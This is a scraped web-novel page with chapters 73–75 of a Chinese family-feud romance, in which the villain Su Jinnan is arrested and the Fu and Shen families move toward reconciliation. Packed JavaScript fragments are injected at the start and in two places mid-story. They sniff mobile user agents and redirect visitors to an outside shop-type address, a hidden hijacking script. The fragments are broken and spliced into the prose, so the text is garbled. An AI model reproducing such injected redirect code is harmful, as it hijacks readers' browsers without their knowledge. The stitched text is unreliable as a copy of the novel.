0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17319779|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ”沈述白冷瞥他眼,低沉的语气拖出几分压迫感。 苏津南涨红的脸颜色还没消下去,两手被死死钳制在身后,只能张开嘴,用力咳了两声。 傅老爷子快速迈腿走近,连车上的沈女士和安董也下了车,站在傅老爷子身边。 沈女士瞟了眼刻意退到一边的沈行之和宋衿艺,以及沈行之嘴里号称在集团加班却出现在这里的沈述白,最后回到苏津南身上。 她一句话没说,拉住正要起势的安董,低声道:“别出声,让白白来。” 傅老爷子压根不知道被人钳制的女人到底是谁,只站在一边,眸光狠狠瞪过去,暂且没说话。 苏津南喉嗓间的压痛似乎终于好了些,却仍然挂着一脸不屑:“沈总,你大晚上带着一群人出现在这里,认识她的人应该是你才对吧?什么通话录音,我想沈总在伪造录音这方面,恐怕是行家吧?怎么,你是找不到害傅珺瑶的人,随便找了个女人就把责任往我身上推?” 他的话衅意频出,眉头上挑,丝毫不受威胁。 话音落下,沈述白眼皮猛然上抬,一双褐眸混入少许冷白光线,直直地剜过去。 苏津南背脊无意识一紧,稍稍恍惚—— 好像……她。 “我都没说通话录音关乎什么,苏总就联想到了害傅珺瑶,苏总未免打得太精准了?”他的语速渐慢,双目也缓缓眯起。 苏津南默然几秒,两手发力,往外挣扎。 可力还没送出去,身后那两个壮汉已经先他一步,两侧的力道更重,胳膊和手腕上的痛感加剧。 “下午的新闻不都出来了么?再说了,谁不知道,沈总和傅总不顾家族仇恨,早就在私下混在一起了?” 说这话时,苏津南瞥向身侧的沈女士和傅老爷子,唇边挑出抹恶笑。 沈女士面色一僵,眉头蹙紧。 傅老爷子湿红的目光幽幽扫过沈述白,仍然没说话。 差不多安静了有十秒钟。 沈述白突然迈脚。 一步、两步。 缩短和苏津南之间的距离。 苏津南眸子微缩,眼皮上下翻动。 身前一股逼人的压迫感侵袭,苏津南本能往后缩了缩。 眼前的人像是只等候多时的豹子,已经盯紧他的大动脉,仿佛找准时机,就要一口狠狠咬上来。 “家族仇恨?”沈述白在距离他不到一米的位置停下,慢慢吞吞吐出这四个字,声音像是带着细刺,猛劲扎入苏津南的耳膜,他的太阳穴跳了两下。 沈述白的视线更沉,直勾勾地盯着他,恨不得要把他的眼球盯穿。 “傅沈两家的家族仇恨从何而来,苏总是不清楚么?” 苏津南怔忪两秒,避开他的视线:“我为什么要清楚?沈述白,你想把锅往我身上甩,好歹也先拿出证据来!” 他才说完,一阵警铃声在不远处响起,穿过数十米的空间,越靠越近。 苏津南浑身一僵,额间冒出层薄汗,转头看过去,双目瞪圆。 警察? 他们报警了?! 视线又快速在这些人脸上扫过,两手再次发力,背后的束缚却宛如千斤石,他的力气使到极限,对那两个壮汉却半点用都没有。 报警了又怎样? 他们根本没有确切的证据! 双眸再次回到沈述白身上时,却看到他的褐眸眯起,眸中掀起隐隐快意:“苏津南,你要的证据来了。我姑姑、傅伯伯、秦奶奶,珺珺的车祸,还有我和她在洱南出的事,我们两家二十几年的误会,这些债,你全都该还回来了!” 苏津南心口一紧,瞪圆的眸中瞬间被惊愕充斥。 他下意识咽了咽口水。 几辆警车停稳。 车门打开,几个人影从黑夜中走出来。 借着灯光,苏津南完全看清。 身体却完全僵直,眼睑不受控的往四周撑开,额上、颊侧的肌肉一瞬绷紧。 傅珺瑶?! 楚……楚茜?!! 73. 18 隔着几米长夜,女人一身亮橙色长裙,往日素净苍白的脸略施粉黛,只是不知道她经历了什么,颊上沾了些灰迹。 她一脸平淡的站在原地,褐色的双目半隐在黑夜中,苏津南却仍然看清了里头暗含的淡漠。 眉头拧得更紧。 视线在女人和傅珺瑶身上来回流转,心口愈发慌乱。 好似有什么东西,已经不受他的控制。 证据…… 沈述白说的什么意思? 楚茜身上有证据?! 怎么可能?! 她哪里来的证据?! 女人原本没有上前的打算,是傅珺瑶侧身,主动牵上女人的手,不知道对她说了什么,她们才慢步朝着这边走过来。 “珺珺!”最先出声的是傅老爷子。 他猛力甩开身后傅淮湛的手,不顾一切地朝着傅珺瑶跑过去。 年迈的身体跑得没那么快,甚至带着稍许踉跄。 “爷爷!”傅珺瑶及时伸手接住老爷子,稍微凌乱的发丝往外扬了扬,那张平日里总是带着些攻击性的脸此刻却添了些狼狈。 “珺珺,你没事?!你真的没事?!”老爷子湿红的双眸紧紧盯着她,皱纹遍布的手掌轻轻按在她的肩口,全身上下地打量着,声音还带着丝丝哽咽。 傅珺瑶鼻尖微微一酸,弯唇笑了笑:“爷爷,我没事。” 又转头,看向身旁的楚茜,解释:“是楚阿姨及时赶到救了我,也是楚阿姨带我去了警局。” 傅老爷子双眸微顿,跟着扫向楚茜,眼底仍然闪着困惑。 隔着不近不远的距离,傅珺瑶抬眸,对上正前方那双褐眸。 沈述白轻轻点头,没有急着上前。 傅珺瑶又瞥向傅淮湛。 下一秒,他大步上前,过来搀扶住老爷子。 “爷爷,您别着急,所有的事情我都弄清楚了,您相信我。”傅珺瑶压低声音,缓缓拍了拍老爷子的手。 老爷子花白的眉毛慢慢往内挤了挤,视线在傅珺瑶脸上停留几秒,再次瞥过楚茜,才转身,跟着傅淮湛退到一边。 傅珺瑶再次牵上楚茜的手,温声道:“楚阿姨,等解决完这一切,您依然有机会…重新来过。您说过的,您相信我,所以我也不会让您失望。” 楚茜凝着前方那个已经被两面夹击禁锢着的男人,男人脸上爬满了震惊、诧异,隐隐发颤的身影在车灯下格外显眼。 楚茜忍不住轻哼一声,胸口一阵畅快划过。 是啊,解决了他,她就有机会…重新来过。 机会已经送到她面前。 她不要再做别人的替身。 她不要再做这个人渣的太太。 她更不要再当他的帮凶! 她要做回楚茜。 是…只要她还想做自己,她永远都有机会做回自己,不管是现在,还是未来。 手心的温度逐渐攀升,她早已麻木的心口突然窜过一阵暖流,快速浸润过神经。 好像有什么东西,慢慢凝集。 那是她失去已久的、渴求很久的东西。 楚茜转头,对上那双漆黑色的眼眸,瞳仁轻缩—— 那里头像是藏着无数力量,只轻轻一眼,便甩开了她的胆怯和犹豫。 僵愣大概两秒,楚茜重重点头,嗯了一声。 傅珺瑶朝她弯出个温和的笑,又看向身后的女警官,轻声客气道:“周警官,麻烦您了。” 周警官一脸严肃,嗯了声,朝着苏津南径直上前。 傅珺瑶朝着楚茜低声说:“楚阿姨,我们也过去。” 两人跟在周警官身后,离男人越来越近。 苏津南出于本能的往后退了两步,只是没退多少,又被那两个壮汉拉了回来。 双臂不停朝外发力,可结果仍然和前几次一样,他挣扎得越狠,那两个壮汉就禁锢得更狠。 他暗暗咬紧牙,微怔的眸子只在周警官身上停留两秒,便快速移到楚茜和傅珺瑶紧牵的手上,短暂的错愕之后,最终停在楚茜脸上。 她看过来的双目仍然淡漠,甚至混杂着一丝要解脱的快意。 苏津南下意识眯着眼,心口盘旋的慌乱和不安朝着四周发散,牵扯得耳朵和太阳穴隐隐发疼。 不…不可能! 她能有什么证据?! 她怎么可能有证据?! 下一秒,周警官冷冽的声音撞进耳朵,苏津南狠狠一激灵。 “苏津南,我们收到证据,怀疑你跟今天下午在城郊发生的一起车祸以及三个月前在洱南发生的一起失踪案相关,现在请你配合,跟我们回警局,协助调查!” 他几乎是第一时间瞥向楚茜,不偏不倚对上她笃定的眸光。 心脏猛地颤了颤。 被钳制在背后的手握紧,捏成拳。 他只动了一下,手腕和胳膊便刺进一阵剧烈的疼痛。 嘴唇轻收,他突然直起身,语气稍稍不满:“警官,洱南发生的失踪案,还是三个月前,怎么就突然判定和我有关系?还有今天下午的车祸,什么车祸?” 他的眼珠往楚茜身上剜了下,又继续:“证据?我想知道到底是什么证据,我不过是路过这里,就被人限制了自由,这人一群又一群的聚起来,我倒真是怀疑,这是有人看我不惯,想要合起伙来污蔑我!” 说到后面,苏津南的视线定格在楚茜身上,眸底暗暗返着冷光,带着丝威胁的味道。 不过很快,一道身影迅速上前,挡在楚茜身前。 傅珺瑶眸中凛起光,亮出一贯的强势,攻击性明显。 她冷声:“苏总,您大可以放心,周警官是出了名的公正严明,不过是让您配合调查而已,如果您真的问心无愧,又有何惧?” 苏津南眉尾上挑,眉心下挤,一双眸眯得明显。 “周警官。”一直在一旁没说话的宋衿艺突然站出来,稍微凌厉的眉眼弯起,满脸客气,语气也透着点敬意:“我觉得我有必要先解释下,暂时限制这位苏总的两个人都是我的保镖。” 她的视线轻轻瞥向那两个壮汉,又继续道:“今天下午,我从我的保镖那听说了件事,说是他的一个朋友被重金雇佣,目的是要解决傅总,那人收了钱良心非常过意不去,始终不敢下手,可惜又不敢直接去报警,害怕自己也出事,就来找我的保镖求助。” “我呢,跟傅总也是有些交情,这不刚听说这件事就听说傅总出车祸失踪了,我也是鲁莽,想都没想就带着人过来那人说的地方找傅总,这不正好,找到了雇主,还有她雇来的两个黑手。” 说罢,宋衿艺的视线转向樊茵,周警官也跟着扫过去。 冽眸堪堪对上,樊茵就有些失了魂,语无伦次:“不是!不是我!跟我没关系,我没想害他们!是苏津南,都是苏津南指使我!我什么都不知道!当初是他想害傅珺瑶和沈述白,现在也是他想害傅珺瑶!我都是被逼的!不关我的事!” “你给我闭嘴!”樊茵才说完,苏津南在一旁怒吼。 宋衿艺的眸光轻扫过两人,面无波澜,接着道:“周警官,这事也是我做得太着急,怕雇主跑了,就让我的保镖先限制了雇主的行动,不过也是凑巧,从雇主那得了不少消息。” 她稍微侧眸,看向身后的沈述白。 沈述白即刻上前,把手里的u盘送到周警官面前。 “周警官,这u盘里是苏津南和樊茵之间所有的通话记录,不仅是今天下午傅总的车祸,还和不久前,我跟傅总在洱南坠海出事相关,这一切,都是苏津南主导,樊茵帮凶!” 闻言,周警官眉头紧蹙,目光在u盘定格几秒,干脆伸手,先接了过来。 宋衿艺又有些不好意思地笑笑,继续解释:“至于让我的两个保镖暂时限制这位苏总,是我的未婚夫险些被苏总撞了车,这车里还有两位年事过高的老人,也是我未来的家人,我实在担心他们出事,所以不得已才暂时限制苏总,想要报警,慢慢解决问题的,没想到傅总居然带着您赶过来了。” “周警官,是我联系不上衿艺,看着她的定位找过来的,这车上又带了爷爷奶奶,我一时着急,也是车技不佳,是我的错,希望没给您添麻烦。”沈行之迅速上前,跟着解释一通。 周警官没说什么,只朝着身后的下属使了个眼色。 宋衿艺了然,拉着沈行之再次退至旁侧,又在周警官的下属上前时,对保镖使了眼色,几人同时松开 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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楚茜说到后面,声音里已经藏不住哽咽。 沈女士骤然捏紧安董的手,身形一僵,险些站不住。 “奶奶!”沈行之最先注意到,快步上前。 “楚茜!你别在这瞎说八道!”身后的苏津南怒吼出声。 又快速剜向傅珺瑶:“傅珺瑶,你跟沈述白为了在一起,连这种谎话都能编出来?!当年就是傅臣东出轨!沈千仪气不过才去公寓杀了他!” “苏津南,是不是谎话,你自己心里清楚。”傅珺瑶还没出声,沈述白已经先一步挡在她跟前,一双褐眸冷冷地睨向他,语气犹带着让人难以抵抗的锋利。 说完,他甚至不愿多给这人一个眼神,牵着傅珺瑶,走到楚茜身后。 楚茜抬手,快速抹掉脸上的泪珠,继续道:“我…我是后来和苏津南结婚之后才意外知道的这件事……是他有一次喝醉,把我当成千仪,然后…然后就把所有的事都说出来了……我录了音,但是我一时糊涂,没敢去报警,也没敢告诉您几位,我…我的经济来源都是他,我也害怕…害怕他对我下手,我没办法,我真的没办法,对不起,真的对不起,是我顾虑太多,是我分不清是非,对不起……” 说到最后,楚茜已经忍不住抽噎起来。 不远处的苏津南眼角一抽。 录音?! 她什么时候录的音?! 他的牙关紧合,压出强烈的痛感。 她居然录了音?! 沈女士也跟着掉下眼泪,整个身子都颤抖起来,脖颈僵硬地转向身侧的安董,喉间哽塞:“老安…老安……千仪…千仪她……” 安董的灰眸中也闪烁着泪光,他搂紧沈女士,低声道:“千仪没错,当年千仪什么错都没有,是苏津南,都是苏津南害的!” 傅老爷子捏紧傅淮湛的手,眉头拧紧,一瞬不瞬地凝着楚茜。 “这些年……我也一直很内疚、很害怕。”楚茜双手交叠在腹前,眼眸垂下,不敢去看几人:“对不起……” “楚阿姨。”她身后的傅珺瑶松开沈述白的手,上前,轻轻撑着楚茜的后腰,声音和缓:“究其源头是苏津南,该说对不起、该付出代价的人,也应该是他!” 周警官睨向苏津南,声音再次压低,喝道:“够了!全都带回去,接受审讯调查!” 74. 19 深夜的警局。 顾清漪跟着李茗蕤和傅臣北一起赶过来。 “珺珺!”李茗蕤在看到女儿的那一刻很快拥上去,反复确认:“珺珺,你还好吧?没什么大问题吧?” 沈述白默默松开她的手,往旁边退了两步。 傅珺瑶摇头,手掌轻轻搭在女人的肩上,拍了两下,温声道:“我没事,您放心。” 傅臣北视线在女儿身上扫过,又瞥了眼身侧的沈述白,最后定格在父亲和儿子身上,走到傅老爷子身边,只帮着搀扶住老爷子,暂时没出声。 没多久,苏俪嫀和沈毅安也收到消息,从家里赶了过来。 楚茜、苏津南和樊茵都在里头接受审讯。 接待室内,除了顾清漪和宋衿艺,全是傅沈两家的人。 无数道视线交汇,又移开。几个长辈不开口,其余人也没有轻易出声。 气氛一时间有些僵凝。 傅珺瑶的视线悄然落在身侧的男人身上,低低清了清嗓。 沈述白无声凛唇,上前,走到母亲身边,自然挽过母亲的胳膊,轻声道:“妈、爸,您二位先过来坐下等着吧?里面楚阿姨和苏津南他们还在接受审讯,目前基本上能够判定姑姑当年的事跟苏津南有关系,还有当初我和傅总在洱南出事,也跟他脱不了干系。” 他的声音不大,但足以让整个接待室的人都听到。 李茗蕤和傅臣北站在原地不动,面色却稍稍变了。 苏俪嫀只慢慢瞥他一眼,又侧眸看了眼傅珺瑶,反手牵上沈毅安,拉着他去旁侧的空位坐下。 沈述白朝着母亲弯了弯唇,停顿几秒,又转身,缓步走到李茗蕤和傅珺瑶身边。 温和的气息闯入鼻间,傅珺瑶下意识抿了抿唇。 李茗蕤微微怔愣,视线平扫过去,表情算不上有多和善。 隔着两米远的傅臣北眸光也落定在沈述白身上,带着隐隐审视。 沈述白的唇角缓缓勾起,颊侧肌肉跟着上推,推弯眉眼,深褐色的眼瞳很快散出亲和的温柔,声音也稍微扬起:“李阿姨,您也过去一起坐下吧?他们在里面应该还要好一会儿。” 李茗蕤转眸,对上傅珺瑶的视线。 傅珺瑶很快弯眼,唇边漫出的笑里带着些许讨好的意味。 李茗蕤没做声,不过还是迈开步子。 恰好剩下两个空位,李茗蕤才坐下,沈述白又伸手,做出“请”的手势,面朝傅臣北,客客气气道:“傅伯伯,您也别站着了,一起坐下吧?” 傅臣北也不做声,眸底的审视还没消散,双目定在沈述白身上。 沈述白唇角的弧度加深,腰身稍稍俯下,手上的动作重复一次,傅臣北才不紧不慢瞥向几米开外的女儿,轻哼一声,跟着坐下。 接待室里又重新安静下来。 顾清漪在手机上迅速敲动几下,然后把手机送到傅珺瑶跟前。 傅珺瑶快速扫过屏幕上的一行字:【我跟我妈打过招呼了,有周警官在,苏津南和樊茵都跑不掉。】 傅珺瑶无声移开眸光,关了手机,重新抬眸。 沈述白依旧没停下,找值班的警员要了些茶杯,又亲力亲为,一杯一杯温热的茶水,一个接一个的送给在座的长辈。 沈女士在接过茶水的时候短暂凝视过他,嘴唇动了动,似乎想说些什么,几番辗转,看到正前方神色还没完全松懈下来的女人,话语到底没说出口。 “傅董事长,您请。”沈述白双手递上茶水,隔着浅白的雾气,他弯下腰,温润的眸中闪着些许谨慎。 傅老爷子没接。 傅珺瑶站在对侧,嘴唇抿了抿,又轻咳了声,眼神幽幽望向傅淮湛。 “爷爷,说到底也多亏了他,不然当初珺珺在洱南出事还是个谜。”傅淮湛的声音底气不是很足,甚至轻轻发颤。 “爸,您也跟着折腾这么久了,喝点水,润润嗓子。”李茗蕤帮着搭腔。 傅老爷子再次凝过沈述白,他顺势往前伸了伸胳膊。 一声轻哼之后,老爷子还是接下水。 在旁侧一直没出声的苏俪嫀突然清了清嗓,瞳仁不紧不慢转向沈述白那侧,语气不低不扬:“白白,你是不是该好好跟我们解释一下,今晚的事?” 沈述白循着声音看向母亲,脸色依旧柔和平缓。 他顺势应声:“是,今晚的确发生了太多事,我是该好好说清楚。” 沈女士垂着眸,慢慢吹了下滚热的茶水,轻抿一口,似乎对他的解释已经不怎么关心。 安董倒是紧紧盯着他。 傅老爷子也掀眸注视过来。 “这一切的事情,还要从当初我和珺…和傅总打算合作讲起。” 傅珺瑶站在一边默默听着,暂时没有上前跟着解释的打算。 “几个月前,启行遇到安防系统销路缩减的问题,恰好当时恒璟准备发展新项目,我和傅总意外撞见过一次,当时…考虑到集团的发展,我私底下约傅总见了几次面。” 沈述白语速不快,解释的时候视线也来回在几位长辈身上流转,时刻观察他们的脸色。 “当时因为我的一些问题,我和傅总之间的谈话没能成功进展下去,关于合作的事也一拖再拖。那天也是偶然,傅总看到我手机里姑姑的照片,觉得有些不对劲,感觉像在哪见过,后来发现姑姑和楚茜楚阿姨有几分相像,也不是阴谋论,只是初步怀疑,我们两家的事有没有可能另有隐情。” 傅珺瑶稍稍眯眼,唇角轻弯。 沈述白继续道:“因为不确定,我们就没有把这个不确定的猜想说出来,而是另辟蹊径,想出了主动失忆那招,一来,最主要是想暂时消除我们俩之间的隔阂和偏见,方便利益合作,二来,也是想试探试探,如果傅沈两家再有交集,背后倘若真的有人使坏,那个人会不会再次站出来。” “当时我们去了洱南之后,确实也没多留个心眼,以为不会有问题,可没想到苏津南让樊茵雇了人跟踪我们,甚至想在洱南除掉我们,当时幸好在我们坠海之后,我醒了过来,才有了后来我们漂到海滩边,被人救下的后续。” “前不久,我和傅总也对我们失忆的事存疑,觉得这里面疑点重重,恰好趁着顾总结婚,我和傅总同时作为伴郎伴娘,我们就打算再试探一次,任由那两家媒体报道傅沈两家再次有交集的新闻。” “果不其然,苏津南上钩了。他找人放出我和傅总的照片,目的大概也是想让您几位长辈看到,顺利的话,或许我们两个都会下了目前的位置,这样苏津南也就不用担心恒璟和启行还想合作,也不用担心傅总会跟他解约。” “我和傅总也是在那个时候决定,兵分两路,傅总接近楚茜,看能不能从她身上获取什么消息,而我恰好有宋董帮忙,得知苏津南有个情妇,常游走在灰色地带,于是借助宋董的保镖,才知道苏津南的情妇在那栋庄园,我才过去没多久,也才跟我哥联系上,您几位就到了,下午我也一直没能联系傅总,更没想到傅总出了车祸,幸好被楚阿姨救下……我们确实有很多没考虑周到的地方,也付出的很多代价,不过好在…失有所得,没有辜负您几位的担忧。” 沈述白谨慎抬眸,瞥向在座的几位长辈,迎面撞上沈女士略带疑惑的视线,又快速垂下眸去。 “奶奶、爷爷、傅董事长,这事情其实就跟我说的差不多,我是恰好跟衿艺有定位关联,之前也听我弟说了他查到苏津南有情妇,这不正好半路就收到我弟的消息了吗?” 见气氛凝滞,沈行之很快站出来帮腔。 又侧身,看向身后的傅珺瑶:“这幸好是楚阿姨把傅总救了下来,不然那样严重的一场车祸,傅总要是真出了什么事,那可真是不值当。” 他的话音刚落,傅老爷子的注意力很快移到了傅珺瑶身上。 那双仍带厉色的眸尚且残留着湿润,他的胳膊往外一偏,撑着凳子扶手,正欲起身。 “爸……”身旁的傅臣北下意识搀扶着他。 “爷爷。”傅珺瑶很快绕到老爷子跟前,帮着把人扶稳。 老爷子被覆盖在松软的皮肉里的喉结沉沉滚动,目光留在傅珺瑶身上,沉吟片刻。 他蓦然抬手,微微颤抖的指腹停在傅珺瑶还沾着点灰尘的脸上,慢慢往外抚开,又穿过她稍稍凌乱的发丝,轻轻抚顺,才收回手。 傅珺瑶只一瞬不瞬地盯着他。 这一次,她已经没有以往面对他时惯性的、本能的紧张。 心脏缓慢有力的跳动着。 那双灰眸虽然还透着一贯的威严和沉肃,却又多了点别的东西。 傅珺瑶的眼珠在眼眶里轻轻打转,等老爷子的手彻底收回,她的唇边牵出抹笑。 或许……她真的赌赢了。 老爷子不偏不倚地将她的笑收入眼底,仍然不发一言,只抬手,不轻不重地拍了两下她的肩口,重新坐下。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17329624|193223||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “奶奶、爷爷、傅董事长,事情发展到今天这个地步,是我们谁都没想到的。不过等苏津南认罪之后,我们两家…是不是也该好好谈谈了?”沈行之再次上前,把几人的注意力全都聚集到自己身上。 沈女士闻声抬头,轻撇撇扫过沈行之,又看过沈述白,最后却落到傅珺瑶身上。 不近不远的距离,傅珺瑶的黑眸精准对上沈女士,肩后蓦然一紧。 不过两秒,她站直身子,唇边扬起抹礼貌的弧度。 沈女士没什么反应,目光慢悠悠转回去,继续沉默。 气氛一时僵持不下。 傅珺瑶悄悄瞥眼,眸光和沈述白短暂交汇,又求助性地望向李茗蕤和傅臣北。 两人无声相视,暂且犹豫。 “奶奶,我知道您是最明事理的人,您不是也一直教导我们,事情倘若有疑问,就该早早解决,以免酿成长久的误会,不仅损害利益还坏心情,多不值当?”沈述白往前迈了一小步,拉近和沈女士之间的距离,语气柔和,面上明显讨好。 他的话一出,苏俪嫀也很快接话:“是啊,妈、爸,您二位可都是最明事理的人。” 话说一半,苏俪嫀又稍稍侧头,面朝傅老爷子,继续道:“我想傅董事长也是非常明事理的人,当年的事,咱们谁也没想到还另有隐情,这么多年大家都被误会冲昏了头脑,如今这恶人好不容易抓到了,说起来也是多亏了珺瑶和述白,这也是说明咱们两家有缘,虽然误会一时,但不会敌对一世。” 她顿了顿,视线悄然游移在几位长辈脸上,声音放柔了些,语速也慢了不少:“说不准,这也是千仪…和臣东在天之灵,一定要咱们两家的恩怨得以消释呢。” “真说不准呢,”李茗蕤也出来帮腔,直直地转向傅老爷子:“爸,多亏了这一次契机,才知道当年大哥和千仪的事是误会,既然现在基本能确认是苏津南做的恶,咱们两家也不该再让这误会持续下去,继续阻碍家族的发展,您也是最关心咱们傅家和恒璟的人,您说呢?” “是啊爸,”傅臣北跟着附和:“为了咱们两家人,珺珺甚至险些丧了命,如果不是楚茜良心发现出来揭发苏津南,又救了珺珺,那咱们今晚可就难安安分分坐在这了。” 这话一出,老爷子再次盯向傅珺瑶,身体稍稍应激,眸底透着几分后怕。 “不许胡说!”老爷子嗔怒:“珺珺福大命大,绝对不可能出事!” “是是是,是我说错了话。”傅臣北即刻应和:“我也是一时心急口快。” “爷爷。”傅珺瑶顺势上前,在老爷子身边蹲下,两手搭在老爷子手背:“我爸的意思是不希望这个误会再持续下去,我和沈述白,咱们傅家和沈家都已经因为这个人为的误会失去了太多太多,也付出了很多代价,利益也好、情谊也罢,我们最终都是想求一份损失最小的结果。” 黑眸稍稍凛起,里头闪烁的柔光沁出,直直迎上老爷子。 老爷子垂眸,轻瞥了眼她的手,又回挪,再次对上她的视线。 几秒后,老爷子伸手,回拍了拍她的手背,声音略微嘶哑:“先起来。” 傅珺瑶应声起身,双目不经意和沈述白相撞。 “奶奶……” “好了。” 沈述白刚出声,沈女士便提前打断,满眸了然,她侧了侧身,不慌不忙地理了理衣角,从从容容道:“你们呐,就知道合起伙来给我扣帽子。虽说你们是拿到了证据,不过这苏津南不是还在里头接受审讯吗?况且这是警局,不是谈话的地方,真要谈咱们两家的事,好歹也等苏津南认罪,回家里谈。” 此话出口,原本紧绷的气氛瞬时松懈。 沈述白下意识往旁边看过去,和傅珺瑶交换一个眼神。 两人同时弯唇。 沈女士注意到两人的小动作,幽幽转眸,轻咳了声,下巴朝着傅老爷子那边转去,轻唤:“傅董事长。” 傅老爷子的脖颈缓缓转过来,应了声。 “像你今晚说的,这事关乎咱们两家,傅小姐又确实跟咱们家沈二有情,咱们也是该找个时间,好好谈谈了。” 视线最后定在沈述白脸上。 沈述白唇角的弧度更深,又很快收敛,抿了抿唇。 傅珺瑶也没忍住上弯嘴唇,眸光悄然挪向爷爷。 傅老爷子看了她眼,默然两秒,最后沉了沉气,道:“等之后,找个时间谈谈吧。” 75. 20 半个小时后。 周警官出来,神色严肃。 “今天不早了,您几位先回去吧,楚茜和樊茵提供的录音已经确认无合成痕迹,足够给苏津南定罪。” 沈女士很快侧头,和安董交换一个眼神。 安董明了,起身,还算沉静的眸中带着几分不易察觉的恼怒,他低声道:“周警官,麻烦你了,事情的来龙去脉,之后请务必报道清楚。” 周警官稍稍颔首:“您放心。” “奶奶、爷爷、傅董事长,今晚确实发生了太多事,既然大家都明白是怎么回事了,您几位先回去休息吧,这边交给我们来善后。”沈行之站出来道。 又转头,朝向苏俪嫀和李茗蕤他们:“妈、李阿姨、爸、傅伯伯,您几位也先回去吧?反正也没什么事了。” 沈女士是最先有反应的,她干脆起身,顺势拉着安董,轻轻睨过沈述白和沈行之:“老爷子,咱们先回去。俪嫀、毅安,你们跟着一起走。” 沈女士的语气不咸不淡,隐隐带有一丝侃意。 “咱们这几个长辈在这里也没法做什么,事都给他们年轻人做吧。你们几个,最好能把事情安排得妥妥贴贴。” 目光悠悠扫过他们。 “奶奶,肯定不会让您失望。”沈述白接话。 沈女士低哼了声,牵着安董一块往外走。 苏俪嫀等着两人先走,缓步靠近沈述白,压低声音道:“你们速战速决,看你奶奶这个样子,她不等到你们回去不会休息的,其他的事,以后机会还多的是。” 沈述白很清楚苏俪嫀口中‘其他的事’是什么。 乖乖点头,低声应好。 “爷爷、妈妈、爸爸,先让哥带你们回去吧,我一会送完清漪就回傅宅。”傅珺瑶牵着李茗蕤的手,语气和缓。 傅老爷子瞥了她眼,脚步停在原地,暂时没有迈出去的意思。 傅珺瑶心口微微一颤,嘴边的弧度下意识收敛。 以为老爷子想拒绝。 她动了动唇,正欲开口,老爷子已经先她一步:“珺珺,早点回来,爷爷在家等你。” 老爷子的声音沉肃依旧,只不过里头还带着几分明显的担忧。 傅珺瑶瞬然会意,缓缓点头:“我知道了爷爷,您放心,我很快就回去了,不会出任何事。” 老爷子双眉轻蹙,慢慢叹了口气,点了点头,跟着李茗蕤和傅臣北一起走了。 接待室里最后只剩下傅珺瑶、沈述白、顾清漪、宋衿艺和沈行之。 还有等在一边的周警官。 “周警官,麻烦您了。”傅珺瑶先道了谢。 周警官仍然不苟言笑,轻轻点头:“应该的。” 周警官说让他们都早些回去,苏津南那边她来处理,等确认无误,真相的详情都会告诉他们,一定会给他们一个满意的答复。 傅珺瑶点了点头,双手叠在身前,嘴唇轻抿,似乎有话要说,但几番迟疑,话还是被她吞了回去。 沈述白站在她身侧,无声瞥了她眼,往前两步。 熟悉的清冽混进鼻腔,占据大半嗅觉细胞,裹着轻和的安全感,直直的往心口钻。 傅珺瑶本能抬眸,瞳仁还没来得及聚焦,他的声音先越过空气,灌进耳际:“周警官,按理来讲,楚女士这种知情不报,但…最后录音取证,又救下珺珺的行为,应该不会被判刑吧?” 傅珺瑶心口一颤,回眸,对上他的褐眸。 沈述白面色不惊,扬臂牵着她的手。一股温热很快从掌心蔓延,直抵心底。 周警官嗯了声,停顿片刻,道:“她没有参与苏津南当年的杀害,是后来才知道,虽然录音到现在才拿出来,但构不成包庇罪。” 傅珺瑶嘴唇抿得更紧。 “多谢。” 周警官摇了摇头。 话题终止。 “周阿姨,今晚也麻烦您加班了,我们就不打扰先走了,后面的事情,就多劳烦您了。”顾清漪最后跟人打了声招呼。 五个人从警局出来,外面已经是月黑风高夜。 “顾总,我们送你回去吧?”沈行之开口,宋衿艺站在他身侧。 顾清漪没意见,“珺珺,周阿姨肯定会安排好一切的。傅爷爷那边,如果你需要,我就陪你一起。刚刚从他们几位长辈的氛围来看,你们俩的事应该也没什么太大的问题了。” 说到最后,顾清漪的眼珠又往沈述白身上绕了圈。 傅珺瑶重重点头,朝着她牵出抹浅笑:“爷爷那边先不着急,你今天也忙前忙后的折腾这么久,先回去休息,咱们之后联系。” “好。” 两人简单说完,傅珺瑶又稍微侧身,朝向近在咫尺的宋衿艺,语气郑重了些。 “宋董,这次多谢你帮忙,等之后有机会,我们得好好感谢你。” 一直在旁边保持沉默的宋衿艺终于站出来,松慢的面色微微收凛。她主动上前,拉近和傅珺瑶的距离。 中气十足的女声听上去透出些惯有的强势,却又安全感满满:“不用客气,咱们以后也是一家人了。不过傅总如果坚持感谢我的话,你们恒璟旗下的御景湾不是快开售了吗?四百多平的江景大平层,我倒是挺喜欢的。” 傅珺瑶心头淌过汩细流,牵动出轻缓的愉悦。 宋衿艺的话说到后头,傅珺瑶又轻轻一顿,很快,唇边的弧度扬深,她对上女人润黑色的眸,语气笃定:“没问题,这事我来安排,一定给宋董选套视角最好的。” 宋衿艺双手上抬,胳膊环绕在一起,笑着点头:“行,也不早了,我们先回了。顾总,上车吧?” 宋衿艺给顾清漪递去个眼神。 顾清漪会心一笑:“好。” 又朝沈行之扬了扬下巴:“开车吧,未婚夫?” 沈行之自觉走到主驾驶座,淡淡应声:“行。” 临上车前,他又不忘嘱咐沈述白,语气意味深长:“老弟,记得早点回来。” “知道了。”沈述白等着他们开车走了,牵着傅珺瑶的手,带她上了车。 